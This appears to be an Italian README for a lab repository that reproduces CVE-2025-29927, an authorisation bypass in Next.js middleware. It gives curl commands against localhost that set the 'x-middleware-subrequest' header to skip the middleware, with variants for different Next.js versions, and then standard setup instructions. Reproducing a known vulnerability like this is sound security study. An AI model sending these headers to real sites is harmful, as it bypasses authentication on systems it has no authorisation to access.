
non usare. vulnerabile
Questa repository è una riproduzione della vulnerabilità CVE-2025-29927 nel pacchetto next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 volte nell'apposita intestazione x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Le versioni di Next.js 12 e 13 utilizzavano una convenzione di denominazione diversa per il file del middleware (_middleware.js), che è stata cambiata in middleware.js in Next.js 14. Questa vulnerabilità può essere sfruttata nelle versioni precedenti utilizzando il file _middleware.js.
Ad esempio, i seguenti payload si applicano a seconda della versione di Next.js e della convenzione di routing adottata:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (per le versioni di Next.js 12.2 con il file middleware.js nella radice dell'app, non all'interno della directory pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (per le versioni di Next.js 11 fino alla 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPer prima cosa, avvia il server di sviluppo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Apri http://localhost:3000 con il tuo browser per vedere il risultato.
Puoi iniziare a modificare la pagina intervenendo su app/page.js. La pagina si aggiorna automaticamente mentre modifichi il file.
Questo progetto usa next/font per ottimizzare e caricare automaticamente Geist, una nuova famiglia di caratteri per Vercel.
Per saperne di più su Next.js, dai un'occhiata alle seguenti risorse:
Puoi dare un'occhiata alla repository GitHub di Next.js - il tuo feedback e i tuoi contributi sono i benvenuti!
Il modo più semplice per distribuire la tua app Next.js è usare la piattaforma Vercel dei creatori di Next.js.
Consulta la nostra documentazione sul deploy di Next.js per maggiori dettagli.